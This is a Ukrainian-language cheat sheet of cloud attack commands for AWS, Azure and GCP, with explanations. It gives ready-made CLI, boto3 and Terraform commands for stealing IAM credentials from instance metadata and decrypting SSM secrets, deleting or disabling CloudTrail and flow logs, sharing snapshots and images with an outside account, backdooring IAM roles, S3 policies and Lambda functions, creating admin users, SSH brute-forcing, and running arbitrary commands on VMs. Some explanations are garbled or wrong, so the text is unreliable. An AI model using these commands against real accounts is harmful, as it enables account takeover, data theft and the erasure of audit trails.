imds-helper http://169.254.169.254/latest/meta-data/iam/security- credentials/{} | jq -r '.AccessKeyId' | xargs -I {} aws sts assume-role -- role-arn <role_arn> --role-session-name "bugbounty" --external-id <external_id> --region <region> --profile {} | jq -r '.Credentials.AccessKeyId, .Credentials.SecretAccessKey, .Credentials.SessionToken' | xargs -I {} aws ssm describe-parameters --query 'Parameters[].Name' --region <region> --profile {} | jq -r '.[]' | xargs -I {} aws ssm get-parameter --name {} --with-decryption --region <region> -- profile {} | jq -r '.Parameter.Value'

imds-helper http://169.254.169.254/latest/meta-data/iam/security- credentials/{}: ця команда використовує imds-helper, щоб зробити запит до кінцевої точки служби метаданих екземплярів (IMDS) із заповнювачем{ }`, яке буде замінено на конкретне ім’я ролі IAM. Він отримує облікові дані безпеки, пов’язані з указаною роллю IAM.

jq -r '.AccessKeyId': ця команда jq обробляє відповідь JSON від попередньої команди та витягує з неї поле AccessKeyId. Параметр -r виводить результат у необробленому форматі (без лапок).

xargs -I {} aws sts accept-role --role-arn <role_arn> --role-session- name "bugbounty" --external-id <external_id> --region <region> --profile {}: Ця команда використовує xargs для заміни імені ролі IAM, отриманого з попередньої команди jq, у наступну команду aws sts accept-role. Він бере на себе визначену роль IAM, створюючи тимчасовий захист облікові дані для прийнятої ролі. Параметри --role-arn, --role-session-name, -- external-id, --region і --profile надаються для налаштування припущення ролі.

jq -r '.Credentials.AccessKeyId, .Credentials.SecretAccessKey, .Credentials.SessionToken': ця команда jq обробляє відповідь JSON від попередньої команди aws sts accept-role і витягує з неї поля AccessKeyId, SecretAccessKey і SessionToken . Параметр -r виводить результати у необробленому форматі (без лапок).

xargs -I {} aws ssm describe-parameters --query 'Parameters[].Name' -- region <region> --profile {}: ця команда використовує xargs для заміни імені профілю IAM, отриманого з попереднього jq у наступну команду aws ssm describe-parameters. Він отримує список імен параметрів із сховища параметрів AWS SSM. Параметри --query, --region і --profile надаються для налаштування команди.

jq -r '.[]': ця команда jq обробляє відповідь JSON від попередньої команди aws ssm describe-parameters і витягує значення назв параметрів. Параметр -r виводить результати у необробленому форматі (без лапок).

xargs -I {} aws ssm get-parameter --name {} --with-decryption --region <region> --profile {}: ця команда використовує xargs для заміни кожного імені параметра, отриманого з попередньої команди jq, у наступна команда aws ssm get-parameter. Він отримує значення кожного параметра з AWS SSM Parameter Store. Параметри --name, --with-decryption, --region і --profile надаються для налаштування команди.

jq -r '.Parameter.Value': ця команда jq обробляє відповідь JSON від попередньої команди aws ssm get-parameter і витягує значення параметрів. Параметр -r виводить результати у необробленому форматі (без лапок).

видалення сліду Cloudtrail

aws cloudtrail delete-trail --name <trail_name> --region <region>

aws cloudtrail delete-trail: ця команда є частиною інтерфейсу командного рядка (CLI) AWS і використовується для видалення сліду CloudTrail.

--name <trail_name>: цей параметр визначає назву сліду CloudTrail, який потрібно видалити. Замініть <trail_name> фактичною назвою стежки, яку ви хочете видалити.

--region <region>: ця опція вказує регіон AWS, де розміщено слід CloudTrail. Замініть <region> відповідним кодом регіону AWS (наприклад, us-west-2, eu-central-1 тощо).

ccat cloudtrail

Запустивши ccat cloudtrail, команда спробує відформатувати та покращити відображення журналів CloudTrail для кращої читабельності. Він може застосовувати підсвічування синтаксису, відступи або інші візуальні покращення, щоб полегшити аналіз і інтерпретацію вмісту журналу. Це може бути особливо корисним під час роботи з великими або складними журналами CloudTrail, оскільки допомагає виділити ключову інформацію та покращити загальну читабельність.

python -c "import boto3; boto3.client('cloudtrail').delete_trail(Name='<trail_name>', RegionName='<region>')"

python: ця команда використовується для виконання коду Python із командного рядка.

-c "<код>": цей параметр дозволяє передавати рядок коду Python безпосередньо в командному рядку.

"import boto3; boto3.client('cloudtrail').delete_trail(Name='<trail_name>', RegionName='<region>')": це код Python. Він виконує такі дії: Імпортує бібліотеку boto3, яка є AWS SDK для Python. Використовує метод boto3.client('cloudtrail') для створення клієнтського об'єкта для взаємодії зі службою AWS CloudTrail. Викликає метод delete_trail() клієнта CloudTrail, передаючи параметри Name та RegionName. Замініть <trail_name> фактичною назвою маршруту CloudTrail, який потрібно видалити, а <region> відповідним кодом регіону AWS.

terraform init && terraform import aws_cloudtrail.this <trail_arn> && terraform destroy -auto-approve

terraform init: ця команда ініціалізує робочий каталог Terraform, завантажуючи необхідні плагіни постачальника та налаштовуючи середовище.

terraform import aws_cloudtrail.this <trail_arn>: ця команда імпортує наявний ресурс AWS CloudTrail у стан Terraform. <trail_arn> слід замінити фактичним ARN (назва ресурсу Amazon) ресурсу CloudTrail, який ви хочете імпортувати. Імпортуючи ресурс, Terraform дізнається про його існування та конфігурацію.

terraform destroy -auto-approve: ця команда руйнує інфраструктуру, визначену у вашій конфігурації Terraform, і видаляє всі пов’язані ресурси. -auto-approve ag використовується для автоматичного затвердження знищення без необхідності ручного підтвердження. Ця команда видалить ресурс CloudTrail, імпортований на попередньому кроці.

вимикання логівання Cloudtaril через селектори подій

aws cloudtrail put-event-selectors --trail-name <trail_name> --event- selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

aws cloudtrail put-event-selectors: ця команда є частиною інтерфейсу командного рядка AWS (CLI) і використовується для налаштування селекторів подій для трейлу AWS CloudTrail.

--trail-name <trail_name>: цей параметр визначає ім’я сліду CloudTrail, для якого ви хочете налаштувати селектори подій. Замініть <trail_name> фактичною назвою.

--event-selectors '[{"ReadWriteType": "ReadOnly"}]': цей параметр визначає селектори подій, які потрібно налаштувати для сліду CloudTrail. У цьому прикладі один селектор подій надається як масив JSON з одним об’єктом. «ReadWriteType»: «ReadOnly» вказує на те, що селектор подій має фіксувати події лише для читання. Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.

--region <region>: цей параметр визначає регіон AWS, де розміщено слід CloudTrail. Замініть <region> відповідним кодом регіону AWS (наприклад, us-west-2, eu-central-1 тощо).

python -c "import boto3; boto3.client('cloudtrail').put_event_selectors(TrailName='<trail_name>', EventSelectors=[{'ReadWriteType': 'ReadOnly'}], RegionName='<region>')"

python: ця команда використовується для виконання коду Python із командного рядка.

-c "<код>": цей параметр дозволяє передавати рядок коду Python безпосередньо в командному рядку.

"import boto3; boto3.client('cloudtrail').put_event_selectors(TrailName='<trail_name>', EventSelectors=[{'ReadWriteType': 'ReadOnly'}], RegionName='<region>')": це код Python. Він виконує такі дії: Імпортує бібліотеку boto3, яка є AWS SDK для Python. Використовує метод boto3.client('cloudtrail') для створення клієнтського об'єкта для взаємодії зі службою AWS CloudTrail. Викликає метод put_event_selectors() клієнта CloudTrail, передаючи параметри TrailName, EventSelectors і RegionName.
Замініть <trail_name> фактичною назвою маршруту CloudTrail, який ви хочете налаштувати, а <region> відповідним кодом регіону AWS. Параметр EventSelectors встановлюється як список з одним об’єктом словника, у якому для ReadWriteType вказано значення ReadOnly. Це вказує на те, що селектор подій має фіксувати лише події лише для читання. Ви можете налаштувати селектори подій відповідно до ваших конкретних вимог.

terraform init && terraform import aws_cloudtrail.this <trail_arn> && terraform apply -auto-approve -var 'event_selector= [{read_write_type="ReadOnly"}]'

terraform init: ця команда ініціалізує робочий каталог Terraform, завантажує всі необхідні плагіни постачальника та налаштовує середовище.

terraform import aws_cloudtrail.this <trail_arn>: ця команда імпортує наявний ресурс CloudTrail у стан Terraform. Aws_cloudtrail.this посилається на ресурс Terraform, який представляє маршрут CloudTrail, а <trail_arn> — це ARN (назва ресурсу Amazon) маршруту CloudTrail, який ви хочете імпортувати. Цей крок дозволяє Terraform керувати конфігурацією існуючого ресурсу.

terraform apply -auto-approve -var 'event_selector= [{read_write_type="ReadOnly"}]': ця команда застосовує зміни, указані в конфігурації Terraform, для надання або оновлення ресурсів. -auto-approve ag автоматично затверджує зміни без запиту підтвердження. Параметр -var 'event_selector=[{read_write_type="ReadOnly"}]' встановлює значення змінної event_selector для налаштування селекторів подій для маршруту CloudTrail. У цьому прикладі один селектор подій надається як список з одним об’єктом словника, у якому для read_write_type вказано значення ReadOnly. Це вказує на те, що селектор подій має фіксувати лише події лише для читання. Ви можете налаштувати селектори подій відповідно до ваших конкретних вимог.

cloudrtail реєструє порушення через правило життєвого циклу s3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle- configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

aws s3api put-bucket-lifecycle: ця команда використовується для налаштування політики життєвого циклу для сегмента S3.

--bucket <bucket_name>: замініть <bucket_name> фактичною назвою сегмента S3, де ви хочете налаштувати правило життєвого циклу.

--lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}': цей параметр визначає конфігурація правила життєвого циклу. Конфігурація надається як рядок JSON. У цьому прикладі конфігурація включає одне правило з такими властивостями: Status: вказує статус правила. У цьому випадку для активації правила встановлено значення «Enabled». Prefix: визначає префікс, до якого застосовується правило. Порожній префікс означає, що правило застосовується до всіх об’єктів у бакеті. Expiration: вказує параметри терміну дії для об’єктів. У цьому випадку термін дії об’єктів закінчиться через 7 днів.

--region <region>: замініть <region> на відповідний код регіону AWS, де розташовано сегмент S3.

python -c "import boto3; s3 = boto3.client('s3'); s3.put_bucket_lifecycle_configuration(Bucket='<bucket_name>', LifecycleConfiguration={'Rules': [{'Status': 'Enabled', 'Prefix': '', 'Expiration': {'Days': 7}}]})"

import boto3: цей рядок імпортує бібліотеку Boto3, яка є AWS SDK для Python.

s3 = boto3.client('s3'): цей рядок створює клієнтський об'єкт для служби S3 за допомогою бібліотеки Boto3. Цей клієнтський об’єкт дозволяє взаємодіяти з S3 API.

s3.put_bucket_lifecycle_configuration(Bucket='<bucket_name>', LifecycleConfiguration={'Rules': [{'Status': 'Enabled', 'Prefix': '', 'Expiration': {'Days': 7}} ]}): Цей рядок викликає метод put_bucket_lifecycle_configuration клієнта S3 для налаштування правила життєвого циклу для вказаного сегмента. Bucket='<bucket_name>': замініть <bucket_name> фактичною назвою сегмента S3, де ви хочете налаштувати правило життєвого циклу. LifecycleConfiguration={'Rules': [{'Status': 'Enabled', 'Prefix': '', 'Expiration': {'Days': 7}}]}: цей аргумент визначає конфігурацію правила життєвого циклу . Він надається у вигляді словника з єдиним ключем «Rules», який відповідає списку словників правил. У цьому прикладі є одне правило з такими властивостями: Status: вказує статус правила. У цьому випадку для активації правила встановлено значення «Enabled». Prefix: визначає префікс, до якого застосовується правило. Порожній прекс означає, що правило застосовується до всіх об’єктів у бакеті. Expiration: вказує параметри терміну дії для об’єктів. У цьому випадку термін дії об’єктів закінчиться через 7 днів.

terraform init && terraform import aws_s3_bucket.lifecycle <bucket_name> && terraform apply -auto-approve -var 'lifecycle_rule=[{status="Enabled", prefix="", expiration={days=7}}]'

terraform init: Ця команда ініціалізує робочий каталог Terraform шляхом завантаження необхідних плагінів провайдера та налаштування серверної частини.

terraform import aws_s3_bucket.lifecycle <bucket_name>: ця команда імпортує наявний сегмент S3 у Terraform як ресурс. Замініть <bucket_name> фактичною назвою сегмента S3, який потрібно імпортувати. Цей крок пов’язує наявний бакет з конфігурацією Terraform.

terraform apply -auto-approve -var 'lifecycle_rule=[{status="Enabled", prefix="", expiration={days=7}}]': ця команда застосовує конфігурацію Terraform, розгортаючи визначені ресурси в Terraform les.

-auto-approve: цей вік автоматично затверджує запропоновані зміни, не вимагаючи ручного підтвердження.

-var 'lifecycle_rule=[{status="Enabled", prefix="", expiration= {days=7}}]': цей параметр встановлює змінну з назвою lifecycle_rule у конфігурації Terraform. Він визначає конфігурацію для правила життєвого циклу за допомогою списку з одного об’єкта правила. Об’єкт правила має такі властивості: status: вказує статус правила. У цьому випадку для активації правила встановлено значення «Enabled».

prefix: вказує префікс, до якого застосовується правило. Порожній прекс означає, що правило застосовується до всіх об’єктів у відрі. expiration: вказує параметри терміну дії для об’єктів. У цьому випадку термін дії об’єктів закінчиться через 7 днів.

стоп cloudtrail стежка

aws cloudtrail stop-logging --name <trail_name> --region <region>

--name <trail_name>: вказує назву маршруту CloudTrail, щоб зупинити журналювання. Замініть <trail_name> фактичною назвою маршруту.

--region <region>: вказує регіон AWS, де розміщено маршрут CloudTrail. Замініть <region> на відповідний ідентифікатор регіону, наприклад us-east-1 або eu-west-2.

python -c "import boto3; boto3.client('cloudtrail').stop_logging(Name='<trail_name>', RegionName='<region>')"

import boto3: це імпортує бібліотеку Boto3, яка є AWS SDK для Python.

boto3.client('cloudtrail'): Це створює клієнтський об'єкт для служби CloudTrail за допомогою Boto3.

.stop_logging(Name='<trail_name>', RegionName='<region>'): це викликає метод stop_logging клієнта CloudTrail, щоб зупинити логування для певного сліду.

Name='<trail_name>': вказує назву маршруту CloudTrail, щоб зупинити журналювання. Замініть <trail_name> фактичною назвою маршруту, для якого ви хочете припинити запис.

RegionName='<region>': вказує регіон AWS, де розміщено маршрут CloudTrail. Замініть <region> на відповідний ідентифікатор регіону, наприклад us-east-1 або eu-west-2.

terraform init && terraform import aws_cloudtrail.this <trail_arn> && terraform apply -auto-approve -var 'enable_logging=false'

terraform init: ініціалізує робочий каталог Terraform, завантажуючи необхідні плагіни та модулі постачальника.

terraform import aws_cloudtrail.this <trail_arn>: імпортує існуючий ресурс CloudTrail у стан Terraform. Замініть <trail_arn> фактичним ARN (назва ресурсу Amazon) ресурсу CloudTrail, яким ви хочете керувати за допомогою Terraform.

terraform apply -auto-approve -var 'enable_logging=false': Застосовує конфігурацію Terraform, вносячи зміни в інфраструктуру. Параметр -auto- approve пропускає крок інтерактивного затвердження, тоді як параметр -var встановлює значення false для змінної enable_logging. Ця змінна використовується в конфігурації Terraform, щоб контролювати, увімкнено чи вимкнено ведення журналу CloudTrail.

спроба вийти з організації AWS

aws organizations deregister-account --account-id <account_id> --region <region>

aws organization deregister-account: це команда AWS CLI для скасування реєстрації облікового запису AWS в організації AWS.

--account-id <account_id>: вказує ідентифікатор облікового запису AWS, який потрібно скасувати. Замініть <account_id> фактичним ідентифікатором облікового запису, який потрібно скасувати.

--region <region>: вказує регіон AWS, де розташовано службу організацій AWS. Замініть <region> на відповідний ідентифікатор регіону, наприклад us-east-1 або eu-west-2.

python -c "import boto3; boto3.client('organizations').deregister_account(AccountId='<account_id>')"

import boto3: імпортує бібліотеку Boto3, яка надає інтерфейс для взаємодії зі службами AWS.

boto3.client('organizations').deregister_account(AccountId='<account_id> '): створює клієнта для служби організацій AWS за допомогою Boto3 і викликає метод deregister_account на клієнті. Параметр AccountId слід замінити фактичним ідентифікатором облікового запису AWS, який потрібно скасувати.

terraform init && terraform import aws_organizations_account.this <account_id> && terraform apply -auto-approve -var 'enable_organization=false'

terraform init: ініціалізує конфігурацію Terraform у поточному каталозі.

terraform import aws_organizations_account.this <account_id>: імпортує наявний обліковий запис AWS у Terraform. Ресурс aws_organizations_account.this представляє обліковий запис AWS у конфігурації Terraform, а <account_id> слід замінити на фактичний ідентифікатор облікового запису AWS, яким ви хочете керувати.

terraform apply -auto-approve -var 'enable_organization=false': Застосовує конфігурацію Terraform і налаштування або оновлення ресурсів. -auto- approve автоматично схвалює виконання, не вимагаючи підтвердження користувача. Параметр -var 'enable_organization=false' встановлює для значення змінної enable_organization значення false, вказуючи, що організацію AWS потрібно вимкнути.

видалення логів з потоку VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

aws ec2 delete-flow-logs: Виконує команду AWS CLI для видалення журналів VPC ow.

--flow-log-ids <flow_log_ids>: вказує ідентифікатори власних журналів, які потрібно видалити. <flow_log_ids> слід замінити фактичними ідентифікаторами поточних журналів, які ви хочете видалити.

--region <region>: вказує регіон AWS, де розташовані журнали, <region> слід замінити на відповідний ідентифікатор регіону, наприклад us-east-1 або eu-west-2.

python -c "import boto3; ec2 = boto3.client('ec2'); ec2.delete_flow_logs(FlowLogIds=['<flow_log_id_1>', '<flow_log_id_2>'])"

import boto3: імпортує бібліотеку Boto3, яка є офіційним AWS SDK для Python.

ec2 = boto3.client('ec2'): створює клієнтський об'єкт EC2 за допомогою Boto3.

ec2.delete_flow_logs(FlowLogIds=['<flow_log_id_1>', '<flow_log_id_2>']): викликає метод delete_flow_logs клієнта EC2 для видалення журналів VPC. Замініть <flow_log_id_1> і <flow_log_id_2> на фактичні ідентифікатори поточних журналів, які потрібно видалити.

terraform init && terraform import aws_flow_log.this <flow_log_id> && terraform destroy -auto-approve

terraform init: ініціалізує робочий каталог Terraform шляхом завантаження необхідних плагінів постачальника та налаштування серверної частини.

terraform import aws_flow_log.this <flow_log_id>: імпортує наявний журнал VPC у стан Terraform. Замініть <flow_log_id> на фактичний ідентифікатор журналу, яким ви хочете керувати за допомогою Terraform. Ця команда пов’язує журнал з ресурсом Terraform під назвою aws_flow_log.this.

terraform destroy -auto-approve: знищує ресурси, якими керує Terraform, указані в файлах конфігурації. Параметр -auto-approve використовується для автоматичного схвалення знищення без підтвердження користувача.

виконання команди виявлення на інстансі EC2

cf aws ecs exec -b

cf: це інструмент командного рядка, який забезпечує спрощений доступ до різноманітних служб і функцій AWS. Це розшифровується як «CloudFormation».

aws ecs exec: це підкоманда інструменту cf, спеціально призначена для взаємодії з AWS ECS.

-b: цей параметр використовується для визначення завдання або контейнера для виконання команди. Він дозволяє вибрати конкретне завдання або контейнер у кластері ECS.

aws ssm send-command --instance-ids <instance_id> --document-name "AWS- RunShellScript" --parameters '{"commands":["<command_1>", "<command_2>", " <command_3>"]}' --region <region>

aws ssm send-command: це команда AWS CLI для взаємодії з AWS Systems Manager і надсилання команди.

--instance-ids <instance_id>: цей параметр визначає ідентифікатор екземпляра(ів), до якого має бути надіслана команда. Ви можете надати один ідентифікатор екземпляра або список кількох ідентифікаторів екземплярів, розділених комами.

--document-name "AWS-RunShellScript": цей параметр визначає назву документа Systems Manager для використання. У цьому випадку команда використовує вбудований документ «AWS-RunShellScript», який дозволяє запускати команди оболонки на цільових екземплярах.

--parameters '{"commands":["<command_1>", "<command_2>", " <command_3>"]}': цей параметр визначає параметри для команди. Параметр commands — це масив команд оболонки, які мають виконуватися в екземплярах. --region <region>: цей параметр визначає регіон AWS, де розташовані екземпляри.

python -c "import boto3; ssm = boto3.client('ssm'); ssm.send_command(InstanceIds=['<instance_id>'], DocumentName='AWS- RunShellScript', Parameters={'commands':['<command_1>', '<command_2>', '<command_3>']})"

import boto3: імпортує бібліотеку Boto3, яка надає інтерфейс для взаємодії зі службами AWS за допомогою Python.

ssm = boto3.client('ssm'): Це створює клієнтський об'єкт SSM (Systems Manager) за допомогою методу boto3.client(). Клієнтський об’єкт дозволяє взаємодіяти з AWS Systems Manager.

ssm.send_command(...): Це викликає метод send_command() клієнта SSM для надсилання команди до вказаного екземпляра(ів).

InstanceIds=['<instance_id>']: цей параметр визначає ідентифікатор екземпляра(ів), до якого має бути надіслана команда. Ви можете надати один ідентифікатор екземпляра або список кількох ідентифікаторів екземпляра.

DocumentName='AWS-RunShellScript': цей параметр визначає назву документа Systems Manager для використання. У цьому випадку команда використовує вбудований документ «AWS-RunShellScript», який дозволяє запускати команди оболонки на цільових екземплярах.

Parameters={'commands':['<command_1>', '<command_2>', '<command_3>']}: цей параметр визначає параметри для команди. Параметр commands — це список команд оболонки, які будуть виконуватися в екземплярах.

terraform init && terraform import aws_instance.this <instance_id> && terraform apply -auto-approve -var 'command="<command_1>; <command_2>; <command_3>"'

terraform init: ця команда ініціалізує робочий каталог Terraform шляхом завантаження та налаштування необхідних провайдерів і модулів.

terraform import aws_instance.this <instance_id>: ця команда імпортує наявний екземпляр EC2 у стан Terraform. Він пов’язує вказаний <instance_id> із ресурсом aws_instance.this у конфігурації Terraform.

terraform apply -auto-approve -var 'command="<command_1>; <command_2>; <command_3>"': ця команда застосовує конфігурацію Terraform і налаштування або змінює інфраструктуру за потреби.

-auto-approve ag пропускає інтерактивну підказку підтвердження. -var ag встановлює змінну з іменем command у надане значення, яке представляє серію команд оболонки <command_1>; <command_2>; <command_3> для виконання на примірнику EC2.

завантаження даних користувача інстанса ec2

aws ec2 describe-instance-attribute --instance-id <instance_id> --attribute userData --query "UserData.Value" --output text --region <region> | base64 -- decode

aws ec2 describe-instance-attribute --instance-id <instance_id> -- attribute userData --query "UserData.Value" --output text --region <region>: ця команда AWS CLI описує вказаний атрибут екземпляра EC2, які в даному випадку є даними користувача. Параметр <instance_id> — це ідентифікатор екземпляра EC2, для якого потрібно отримати дані користувача, а параметр <region> визначає регіон AWS, де розташований екземпляр. Параметр --query витягує значення атрибута UserData.Value, а параметр --output встановлює текстовий формат виводу.

base64 --decode: ця команда декодує дані користувача, закодовані в base64, отримані з попередньої команди AWS CLI. Параметр --decode наказує команді base64 виконати операцію декодування.

python -c "import boto3; ec2 = boto3.client('ec2'); response = ec2.describe_instance_attribute(InstanceId='<instance_id>', Attribute='userData'); print(response['UserData']['Value'].decode('base64'))"

import boto3: це імпортує бібліотеку Boto3, яка є офіційним AWS SDK для Python.

ec2 = boto3.client('ec2'): Це створює клієнтський об’єкт EC2 за допомогою Boto3.

response = ec2.describe_instance_attribute(InstanceId='<instance_id>', Attribute='userData'): це викликає метод describe_instance_attribute клієнта EC2 для отримання вказаного атрибута екземпляра EC2. Параметр <instance_id> є ідентифікатором екземпляра EC2, а параметр Attribute має значення 'userData' для отримання даних користувача.

print(response['UserData']['Value'].decode('base64')): Це отримує значення ключа 'UserData' з відповіді, яка містить дані користувача, закодовані в base64. Метод decode('base64') використовується для декодування даних користувача в кодуванні base64. Потім розшифровані дані користувача друкуються на консолі.

terraform init && terraform import aws_instance.this <instance_id> && terraform apply -auto-approve -var 'instance_id=<instance_id>'

terraform init: ініціалізує робочий каталог Terraform, завантажує будь-які необхідні постачальники та налаштовує середовище.

terraform import aws_instance.this <instance_id>: імпортує наявний екземпляр EC2 у стан Terraform. Це пов’язує примірник EC2 в обліковому записі AWS з відповідним ресурсом Terraform.

terraform apply -auto-approve -var 'instance_id=<instance_id>': Застосовує конфігурацію Terraform і надає всі необхідні ресурси. Параметр - auto-approve пропускає інтерактивний запит підтвердження, а параметр -var встановлює значення змінної instance_id, яка використовується в конфігурації Terraform.

запуск незвичайного інстанса ec2

aws ec2 run-instances --image-id <image_id> --instance-type p2.xlarge --count 1 --region <region>

--image-id <image_id>: вказує ідентифікатор образу машини Amazon (AMI), який буде використовуватися як основа для екземпляра EC2. Він визначає операційну систему та інше програмне забезпечення, встановлене на примірнику. --instance-type p2.xlarge: вказує тип екземпляра, який визначає специфікації обладнання (такі як ЦП, пам’ять і ємність пам’яті) екземпляра EC2. У цьому випадку p2.xlarge є типом екземпляра.

--count 1: вказує кількість екземплярів для запуску. У цьому випадку він запускає один екземпляр.

--region <region>: визначає регіон AWS, у якому буде запущено екземпляр. Регіон визначає географічне розташування, де буде надано екземпляр EC2.

terraform init && terraform apply -auto-approve -var 'instance_type=p2.xlarge'

Параметр -var 'instance_type=p2.xlarge' використовується для встановлення змінної з назвою instance_type значення p2.xlarge. На цю змінну можна посилатися у файлах конфігурації Terraform для динамічної конфігурації ресурсів.

python -c "import boto3; ec2 = boto3.resource('ec2'); instance = ec2.create_instances(ImageId='<image_id>', InstanceType='p2.xlarge', MinCount=1, MaxCount=1); print(instance[0].id)"

import boto3: імпортує бібліотеку Boto3, яка надає інтерфейс для взаємодії зі службами AWS за допомогою Python. ec2 = boto3.resource('ec2'): створює об'єкт ресурсу EC2 за допомогою Boto3. Цей об’єкт ресурсу дозволяє нам взаємодіяти з примірниками EC2.

instance = ec2.create_instances(ImageId='<image_id>', InstanceType='p2.xlarge', MinCount=1, MaxCount=1): створює новий екземпляр EC2, використовуючи вказаний ідентифікатор зображення та тип екземпляра. Обидва параметри MinCount і MaxCount мають значення 1, що вказує на те, що має бути запущено один екземпляр.

print(instance[0].id): друкує ідентифікатор створеного екземпляра EC2. Змінна екземпляра є списком, а instance[0] посилається на перший (і в цьому випадку єдиний) екземпляр у списку. Атрибут .id отримує ідентифікатор екземпляра.

виконання команд на інстансі EC2 через дані користувача

aws ec2 run-instances --image-id <image_id> --instance-type <instance_type> - -user-data "echo 'Malicious command here'" --region <region>

terraform init && terraform apply -auto-approve -var 'user_data="echo "Malicious command here""'

python -c "import boto3; ec2 = boto3.resource('ec2'); instance = ec2.create_instances(ImageId='<image_id>', InstanceType='<instance_type>', MinCount=1, MaxCount=1, UserData='#!/bin/bashnecho "Malicious command here"'); print(instance[0].id)"

відкритий вхідний порт 22 у групі безпеки

nmap -p 22 --script ssh-auth-methods --script-args ssh.username= <username>,ssh.password=<password> <target_IP>

msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS <target_IP>; set USERNAME <username>; set PASSWORD <password>; run"

nmap -p 22 --script ssh2-enum-algos,ssh-hostkey,sshv1 <target_IP>

викрасти Amazon Machine Images (AMI), поділившись ним

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

terraform import aws_ami_share.share <ami_id>/<recipient_account_ID>

python3 pacu.py --use single_module --module scanner/ami__account_accessibility --aws-region <AWS_region> --ami-id <image_ID>

отримання знімка ebs, поділившись ним

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create- volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

terraform import aws_ebs_snapshot_create_volume_permission.share <snapshot_id>/<recipient_account_ID>

python3 pacu.py --use single_module --module scanner/ebs__snapshot_accessibility --aws-region <AWS_region> --snapshot-id <snapshot_ID>

отримання знімка RDS, поділившись ним

aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot_identifier> --attribute-name restore --values-to-add <recipient_account_ID> --region <AWS_region>

terraform import aws_db_snapshot.create_volume_permission <snapshot_arn>_<recipient_account_ID>

python3 pacu.py --use single_module --module scanner/rds__snapshot_accessibility --aws-region <AWS_region> --snapshot-id <snapshot_identifier>

бекдор бакета s3 через його політику

aws s3api put-bucket-policy --bucket <bucket_name> --policy file://backdoor_policy.json

terraform import aws_s3_bucket_policy.backdoor_policy <bucket_name>

python3 pacu.py --use single_module --module backdooring/s3__bucket_policy -- aws-region <AWS_region> --bucket <bucket_name>

консольний вхід без mfa

aws iam create-login-profile --user-name <username> --password <password> -- no-password-reset-required

python3 pacu.py --use single_module --module post_exploitation/__mfa_bypass_console_login --username <username> --aws- region <AWS_region>

terraform import aws_iam_user_login_profile.mfa_bypass <username>

бекдор в ролі IAM

aws iam update-assume-role-policy --role-name <role-name> --policy-document <policy-document>

ccat iam

python3 pacu.py --use single_module --module post_exploitation/__backdoor_iam_role --role-name <role-name> --aws-region <AWS_region>

terraform import aws_iam_role.backdoored_role <role-ARN>

створення ключа доступу для користувача IAM

aws iam create-access-key --user-name <user-name>

python3 pacu.py --use single_module --module post_exploitation/__create_access_key --user-name <user-name> --aws-region <AWS_region>

terraform import aws_iam_access_key.access_key <access-key-id>

створення адміністративного користувача IAM

aws iam create-user --user-name <user-name> && aws iam attach-user-policy -- user-name <user-name> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

python3 pacu.py --use single_module --module privilege_escalation/iam__create_user_admin

terraform import aws_iam_user.admin <user-name>

створити профіль користувача iam

aws iam create-login-profile --user-name <user-name> --password <password> && aws iam update-login-profile --user-name <user-name> --password-reset- required

python3 pacu.py --use single_module --module privilege_escalation/iam__create_login_profile

terraform import aws_iam_user_login_profile.login_profile <user-name>

бекдор лямбда-функції через resource-based policy

aws lambda add-permission --function-name <function-name> --action lambda:InvokeFunction --principal <external-aws-account-id> --statement-id <unique-statement-id>

python3 pacu.py --use single_module --module privilege_escalation/lambda__backdoor_function_resource_policy

terraform import aws_lambda_permission.permission <function-name>:<unique- statement-id>

перезапис коду лямбда-функції

aws lambda update-function-code --function-name <function-name> --zip-file fileb://payload.zip

python3 pacu.py --use single_module --module privilege_escalation/lambda__overwrite_function_code

serverless deploy --force

створення ролі IAM у будь-якому місці якоря довіри

iam-roles-anywhere create-anchor --name malicious-anchor --public-key <public-key-file> --private-key <private-key-file>

cd ~/cloudgoat ./cloudgoat.py create-anywhere-trust-anchor --anchor-name malicious-anchor -- public-key <public-key-file> --private-key <private-key-file>

aws-shell call trustanchormanagement register-trust-anchor --anchor-name malicious- anchor --public-key <public-key>

виконання команд на віртуальній машині за допомогою спеціального розширення сценарію

az vm extension set --resource-group <resource-group-name> --vm-name <vm- name> --name CustomScriptExtension --publisher Microsoft.Compute --settings '{"commandToExecute":"<malicious-command>"}'

terraform apply -var 'command_to_execute=<malicious-command>'

az vm extension set --resource-group <resource-group-name> --vm-name <vm- name> --name CustomScriptExtension --publisher Microsoft.Compute --settings '{"commandToExecute":"<malicious-command>"}' --protected-settings '{"commandToExecute":"<malicious-command>"}'

виконання команд на віртуальній машині за допомогою команди запуску

az vm run-command invoke --resource-group <resource-group-name> --name <vm- name> --command-id RunPowerShellScript --scripts "<malicious-powershell- script>"

terraform apply -var 'command_to_execute=<malicious-shell-command>'

az vm run-command invoke --resource-group <resource-group-name> --name <vm- name> --command-id RunShellScript --scripts "<malicious-shell-script>"

експортування диску через URL-адресу SAS

az disk grant-access --resource-group <resource-group-name> --name <disk- name> --duration-in-seconds <duration-seconds> --access-level Read --query 'accessSas' -o tsv

$disk = Get-AzDisk -ResourceGroupName "<resource-group-name>" -DiskName " <disk-name>" $sasToken = Grant-AzDiskAccess -DiskId $disk.Id -AccessLevel Read - DurationInSecond <duration-seconds>

$diskUrl = $disk.DiskUri + $sasToken.AccessSAS $diskUrl

terraform apply -var 'disk_id=<disk-id>'

створити обліковий запис служби адміністратора GCP

gcloud iam service-accounts create <service-account-name> --description "Admin service account" --display-name "Admin Service Account" && gcloud projects add-iam-policy-binding <project-id> --member serviceAccount: <service-account-email> --role roles/owner

terraform apply -var 'project_id=<project-id>' -var 'service_account_name= <service-account-name>'

